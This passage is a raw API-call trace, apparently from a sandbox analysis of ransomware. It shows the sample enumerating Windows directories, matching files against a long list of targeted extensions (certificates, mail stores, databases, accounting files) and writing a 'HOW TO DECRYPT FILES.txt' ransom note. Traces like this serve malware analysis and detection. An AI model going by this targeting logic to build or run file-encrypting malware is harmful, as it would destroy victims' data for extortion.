(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.gz") returned 0 [0111.442] lstrlenA (lpString="*.gz") returned 4 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mkv") returned 0 [0111.442] lstrlenA (lpString="*.mkv") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.eml") returned 0 [0111.442] lstrlenA (lpString="*.eml") returned 5 [0111.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.msg") returned 0 [0111.443] lstrlenA (lpString="*.msg") returned 5 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.edb") returned 0 [0111.443] lstrlenA (lpString="*.edb") returned 5 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.accdb") returned 0 [0111.443] lstrlenA (lpString="*.accdb") returned 7 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.odb") returned 0 [0111.443] lstrlenA (lpString="*.odb") returned 5 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.java") returned 0 [0111.443] lstrlenA (lpString="*.java") returned 6 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.asm") returned 0 [0111.443] lstrlenA (lpString="*.asm") returned 5 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pfx") returned 0 [0111.443] lstrlenA (lpString="*.pfx") returned 5 [0111.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pem") returned 0 [0111.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.p12") returned 0 [0111.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.gpg") returned 0 [0111.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vsd") returned 0 [0111.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.odg") returned 0 [0111.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.raw") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.nef") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.svg") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.psd") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vmx") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vmdk") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.vdi") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.lay6") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mpeg") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.djvu") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tiff") returned 0 [0111.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.backup") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.pdf") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.cert") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.docm") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xlsm") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.dwg") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.nd") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.tlg") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.lgb") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mov") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.xdw") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.ods") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.wav") returned 0 [0111.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.mp3") returned 0 [0111.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.aiff") returned 0 [0111.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.flac") returned 0 [0111.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.m4a") returned 0 [0111.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\5efdf2ce3570caddc09eeae943f71cee\\Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", pszSpec="*.csv") returned 0 [0111.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe05fe2d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe05fe2d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe05fe2d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.TroubleshootingPack.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.447] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.447] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5f5dda, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd5f5dda, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd5f5dda, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a178c0607d3809c8334a450b9b839b43", cAlternateFileName="A178C0~1")) returned 1 [0111.447] lstrcmpA (lpString1=".", lpString2="a178c0607d3809c8334a450b9b839b43") returned -1 [0111.447] lstrcmpA (lpString1="..", lpString2="a178c0607d3809c8334a450b9b839b43") returned -1 [0111.447] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.447] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="a178c0607d3809c8334a450b9b839b43" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43" [0111.447] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5f5dda, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd5f5dda, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd5f5dda, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.448] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5f5dda, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd5f5dda, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd5f5dda, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.448] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.448] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd5a9b1a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd5a9b1a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd5a9b1a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.448] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.448] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0111.448] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0111.448] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned -1 [0111.448] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\*.*") returned="*.*" [0111.448] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\" [0111.448] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\") returned="" [0111.449] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\HOW TO DECRYPT FILES.txt" [0111.449] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\a178c0607d3809c8334a450b9b839b43\\how to decrypt files.txt")) returned 0xffffffff [0111.449] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\a178c0607d3809c8334a450b9b839b43\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.463] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.464] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.465] CloseHandle (hObject=0x90) returned 1 [0111.465] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll" [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ems") returned 0 [0111.465] lstrlenA (lpString="*.ems") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.db") returned 0 [0111.465] lstrlenA (lpString="*.db") returned 4 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dbf") returned 0 [0111.465] lstrlenA (lpString="*.dbf") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.myox") returned 0 [0111.465] lstrlenA (lpString="*.myox") returned 6 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.myo") returned 0 [0111.465] lstrlenA (lpString="*.myo") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbw") returned 0 [0111.465] lstrlenA (lpString="*.qbw") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbb") returned 0 [0111.465] lstrlenA (lpString="*.qbb") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbm") returned 0 [0111.465] lstrlenA (lpString="*.qbm") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbo") returned 0 [0111.465] lstrlenA (lpString="*.qbo") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbx") returned 0 [0111.465] lstrlenA (lpString="*.qbx") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qba") returned 0 [0111.465] lstrlenA (lpString="*.qba") returned 5 [0111.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qby") returned 0 [0111.465] lstrlenA (lpString="*.qby") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qbj") returned 0 [0111.466] lstrlenA (lpString="*.qbj") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ofx") returned 0 [0111.466] lstrlenA (lpString="*.ofx") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.qif") returned 0 [0111.466] lstrlenA (lpString="*.qif") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mye") returned 0 [0111.466] lstrlenA (lpString="*.mye") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mbox") returned 0 [0111.466] lstrlenA (lpString="*.mbox") returned 6 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.eml") returned 0 [0111.466] lstrlenA (lpString="*.eml") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.pst") returned 0 [0111.466] lstrlenA (lpString="*.pst") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.ost") returned 0 [0111.466] lstrlenA (lpString="*.ost") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.idx") returned 0 [0111.466] lstrlenA (lpString="*.idx") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.dbx") returned 0 [0111.466] lstrlenA (lpString="*.dbx") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.sql") returned 0 [0111.466] lstrlenA (lpString="*.sql") returned 5 [0111.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\a178c0607d3809c8334a450b9b839b43\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.ni.dll", pszSpec="*.mdb") returned 0 [0111.466] lstrlenA (lpString="*.mdb") returned 5 [0111.466] PathMatchSpecA 